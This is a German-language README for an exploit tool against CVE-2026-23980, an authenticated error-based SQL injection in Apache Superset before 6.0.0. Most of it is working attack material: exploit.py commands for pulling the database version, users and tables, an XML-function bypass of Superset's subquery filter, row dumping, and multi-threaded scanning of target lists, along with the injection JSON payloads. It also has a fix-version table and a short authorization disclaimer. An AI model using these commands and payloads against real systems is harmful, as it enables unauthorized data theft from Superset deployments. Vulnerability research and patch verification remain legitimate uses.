
Exploit für CVE-2026-23980 — Authentifizierte fehlerbasierte SQL-Injection in Apache Superset < 6.0.0 über sqlExpression-Bypass
____
/ __ \
| | | |
| |__| |
\___\_\
sqlExpression geht direkt in die Abfrage. keine Parametrisierung. keine Hoffnung.
Apache Superset < 6.0.0 erlaubt authentifizierten Benutzern mit Lesezugriff, fehlerbasierte SQL-Injection über die Parameter sqlExpression oder where im Endpunkt /api/v1/chart/data durchzuführen.
Der Filter validate_adhoc_subquery() wird mithilfe von PostgreSQL-XML-Funktionen (query_to_xml, usw.) umgangen, die SQL als Funktionsargumente ausführen und für den sqlparse-Tokenizer unsichtbar sind.
POST /api/v1/chart/data
-> ChartDataRestApi.data()
-> QueryContext.get_df_payload()
-> SqlaTable.get_sqla_query()
-> adhoc column sqlExpression / extras.where injiziert
-> validate_adhoc_subquery() UMGEHEN via query_to_xml()
-> rohes SQL erreicht PostgreSQL
-> CAST((...) AS INT) Fehler leakt Daten in der Antwort
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests
python3 exploit.py --url http://target:8088 -u admin -p admin --check
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test
# Datenbankversion
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT version()"
# Datenbankbenutzer
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"
# Tabellen auflisten
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"
# Aktueller Benutzer
python3 exploit.py ... --sql "SELECT current_user"
Wenn validate_adhoc_subquery() Ihre Abfrage blockiert (erkennt FROM/JOIN):
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass
Dies verpackt die Abfrage in query_to_xml(), wodurch die FROM-Klausel vor dem Tokenizer verborgen wird.
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT table_name FROM information_schema.tables" --dump --rows 20
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --injection-point where
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --proxy http://127.0.0.1:8080
sqlExpression (Standard) - wird in eine Spaltendefinition injiziert:
{
"columns": [{
"label": "injected",
"sqlExpression": "CAST((SELECT version()) AS INT)",
"expressionType": "SQL"
}]
}
where - wird in die extras.where-Klausel injiziert:
{
"extras": {
"where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
}
}
Der Exploit nutzt die Typumwandlung von PostgreSQL, um Daten zu leaken:
CAST((SELECT version()) AS INT)
PostgreSQL kann einen String nicht in eine Ganzzahl umwandeln, daher wird folgender Fehler ausgelöst:
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."
Der geleakte Wert wird aus der Fehlermeldung in der API-Antwort geparst.
Die Funktion has_table_query() von Superset durchsucht nach FROM/JOIN, um Subqueries zu erkennen. Die PostgreSQL-Funktion query_to_xml() führt SQL aus, verbirgt es jedoch als Funktionsargument:
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')
Der Tokenizer sieht einen Funktionsaufruf und keine FROM-Klausel, wodurch der Filter umgangen wird.
| Version |
|---|
Dieses Tool ist nur für autorisierte Sicherheitsforschung bestimmt. Verwenden Sie es ausschließlich gegen Systeme, für die Sie ausdrückliche Erlaubnis zum Testen haben. Der Autor ist nicht für Missbrauch verantwortlich.
| Status |
|---|
| < 4.0.2 | Verwundbar (keine XML-Funktions-Denylist) |
| 4.0.2 | Teilweiser Fix (CVE-2024-39887 - einige XML-Funktionen zur Denylist hinzugefügt) |
| 4.1.0 | Erweiterte Denylist (weitere XML-Funktionen) |
| 4.1.2 | Row-Level-Security-Bypass behoben (CVE-2025-48912) |
| 6.0.0 | Vollständiger Fix für CVE-2026-23980 |